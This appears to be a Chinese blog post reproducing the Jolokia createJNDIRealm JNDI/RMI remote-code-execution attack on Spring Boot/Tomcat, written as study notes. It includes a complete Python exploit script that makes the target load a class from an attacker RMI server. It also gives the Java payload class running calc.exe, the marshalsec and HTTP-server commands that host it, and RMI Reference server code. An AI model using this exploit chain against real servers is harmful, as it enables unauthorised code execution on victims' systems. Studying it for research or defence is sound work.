Java代码审计之Jolokia_Realm_JNDI_RMI_RCE

Java代码审计之Jolokia_Realm_JNDI_RMI_RCE

注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作

0x01. 原理

Jolokia是一个用来访问远程JMX MBeans的方法,它允许对所有已经注册的MBean进行Http访问

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞

0x02. 利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

0x03. 复现过程

1. 复现过程中踩了两个坑

分别是:

  • jdk的版本过高 – jdk版本 < 6u201/7u191/8u182/11.0.1,这里用的是jdk-8u112。
  • class的编译环境和jdk的环境不一致导致无法执行恶意代码 – 编译恶意代码的Payload时,用靶场环境的jdk去编译。

jdk的版本过高的报错情况

marshalsec接收到了请求,但是Web服务没有收到请求class文件

所以运行环境改为8u112

image-20211026161524993

*但是高版本好像也可以绕,后续在研究,参考链接: https://xz.aliyun.com/t/10035 *

class的编译环境和jdk的环境不一致导致无法执行恶意代码

在debug下看到如下的报错:

Caused by: java.lang.UnsupportedClassVersionError: JNDIObject has been compiled by a more recent version of the Java Runtime (class file version 60.0), this version of the Java Runtime only recognizes class file versions up to 52.0

image-20211026153646810

所以使用8u121版本的javac去编译

image-20211026161642709

2. 访问/jolokia/list 接口

查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词。

image-20211026160403474

image-20211026160454352

3. 编译Payload代码

JNDIObject.java

import java.io.IOException;

public class JNDIObject{
    static {

        Runtime r = Runtime.getRuntime();
        Process p = null;
        try {
//            p = r.exec(new String[]{"cmd.exe", "/c", "calc.exe"});
            p = r.exec("calc.exe");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] argv){
        JNDIObject e = new JNDIObject();
    }
}

javac JNDIObject.java

image-20211026161036086

生成了JNDIObject.class,放到Web服务下

python -m SimpleHTTPServer 8888

image-20211026160945374

4. 架设恶意 rmi 服务

http://192.168.144.27:8888 为上一步的Web地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marsh alsec.jndi.RMIRefServer http://192.168.144.27:8888/#JNDIObject 1389

image-20211026160928871

5. 利用

url = ‘http://192.168.144.27:9094/jolokia' 改为漏洞地址

“value”: “rmi://192.168.144.27:1389/#JNDIObject” 改为自己的RMI地址

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://192.168.144.27:9094/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://192.168.144.27:1389/#JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

proxy = "192.168.144.27:9999"
proxies={
    'http':'http://'+proxy,
    'https':'https://'+proxy
}


for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i, proxies=proxies)
    r.json()
    print(r.status_code)

image-20211026161244330

marshalsec收到了请求,并去请求Web服务的JNDIObject.class

image-20211026161317072

Web收到了请求

image-20211026161325360

成功弹出计算器

image-20211026161357189

0x04 JNDI

1. 介绍

JNDI是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

JNDI 注入受目标 JDK 版本影响

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、
CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

2. 结构

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
  • javax.naming.event:在命名目录服务器中请求事件通知;
  • javax.naming.ldap:提供LDAP支持;
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

3. InitialContext类

构造方法:

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 

代码:

InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法

bind(Name name, Object obj) 
    将名称绑定到对象。 
list(String name) 
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
    检索命名对象。 
rebind(String name, Object obj) 
    将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
    取消绑定命名对象。 

代码:

去检索远程rmi服务

package com.DemoJNDI.DemoJDNIRMI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();       // 构建一个初始上下文。
        initialContext.lookup(url);     // 检索命名对象。
    }
}

4. Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className) 
    为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
    为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
    为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
    为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  

代码:

        String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr) 
    将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
    将地址添加到地址列表的末尾。  
void clear() 
    从此引用中删除所有地址。  
RefAddr get(int posn) 
    检索索引posn上的地址。  
RefAddr get(String addrType) 
    检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
    检索本参考文献中地址的列举。  
String getClassName() 
    检索引用引用的对象的类名。  
String getFactoryClassLocation() 
    检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
    检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
    从地址列表中删除索引posn上的地址。  
int size() 
    检索此引用中的地址数。  
String toString() 
    生成此引用的字符串表示形式。  

代码:

package com.DemoJNDI.DemoJDNIRMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        // 对在命名/目录系统外部找到的对象的引用 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
        // Reference(String className, String factory, String factoryLocation)
        // 参数1:className - 远程加载时所使用的类名
        // 参数2:classFactory - 加载的class中需要实例化类的名称
        // 参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
        Reference reference = new Reference("Calc", "Calc", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        // 封装

        // RMI
        Registry registry = LocateRegistry.createRegistry(1099);        // //创建注册表
        registry.bind("obj",referenceWrapper);      // 将名称绑定到对象
        System.out.println("running");
    }
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

img

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

0x05 JNDI+RMI注入

把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

  • Server端起一个RMI服务监听,并将Reference绑定在RMI的Registry里。而Reference对象会去寻找远程地址url的类,然后触发执行命令
  • Client创建一个上下文,然后检索参数里指定的远程对象,这时候通过RMI的绑定,就会获取到Server端的Reference对象。

这样就是一个完整的JDNI注入到RMI实现RCE

如果JDK的版本过高,则会出现下面的报错。

image-20211026175516489

0x05 Jolokia Realm JNDI RMI RCE触发点

Jolokia是一个用来访问远程JMX MBeans的方法,它允许对所有已经注册的MBean进行Http访问。

Spring Boot 内嵌了一个 Tomcat,所以在 MBean 列表中列出了 Tomcat 的 MBean。

找到了几个比较有意思的且感觉可以利用的 MBean operation。

  1. Tomcat:type=MBeanFactory createJNDIRealm -> JNDI Injection
  2. Tomcat:type=MBeanFactory createJDBCRealm -> JNDI Injection
  3. Tomcat:type=MBeanFactory createDataSourceRealm -> JNDI Injection
  4. Tomcat:type=MBeanFactory createUserDatabaseRealm -> JNDI Injection
  5. Tomcat:type=MBeanFactory createValve -> Create Valve (File Writting, JNDI Injection)

poc的构造

create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

image-20211027141620211

image-20211027141701202

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

image-20211027145631378

org\apache\tomcat\embed\tomcat-embed-core\8.5.15\tomcat-embed-core-8.5.15.jar!\org\apache\catalina\mbeans\MBeanFactory.class找到了createJNDIRealm的定义

image-20211027142106247

0x07. 参考链接

jdk不同版本的利用
https://xz.aliyun.com/t/10035

marshalsec工具
https://github.com/mbechler/marshalsec

利用脚本
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

分析文章
https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html

JNDI注入
https://www.cnblogs.com/nice0e3/p/13958047.html

Jolokia Realm JNDI RMI RC分析
https://paper.seebug.org/851/
https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html

   转载规则


《Java代码审计之Jolokia_Realm_JNDI_RMI_RCE》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。